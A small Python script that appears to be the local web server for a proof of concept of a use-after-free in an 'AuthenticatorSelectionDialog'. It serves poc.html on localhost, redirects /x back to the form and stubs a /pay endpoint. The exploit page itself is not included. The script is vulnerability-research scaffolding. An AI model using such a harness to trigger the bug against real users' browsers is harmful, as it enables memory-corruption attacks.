#!/usr/bin/env python3
# Minimal HTTP server for the AuthenticatorSelectionDialog UAF POC.
# Serves poc.html on / and a tiny redirect target on /x.
import http.server, socketserver, os

PORT = 8080
HERE = os.path.dirname(os.path.abspath(__file__))

class H(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)

    def do_GET(self):
        if self.path == '/' or self.path.startswith('/?'):
            self.path = '/poc.html' + (self.path[1:] if '?' in self.path else '')
            return super().do_GET()
        if self.path.startswith('/x'):
            # Bounce back to the form so the operator can retry the gesture.
            self.send_response(302)
            self.send_header('Location', '/' + ('?' + self.path.split('?', 1)[1]
                                                if '?' in self.path else ''))
            self.end_headers()
            return
        if self.path.startswith('/pay'):
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(b'ok')
            return
        return super().do_GET()

    do_POST = do_GET

if __name__ == '__main__':
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(('127.0.0.1', PORT), H) as httpd:
        print(f'[*] serving on http://127.0.0.1:{PORT}/')
        httpd.serve_forever()
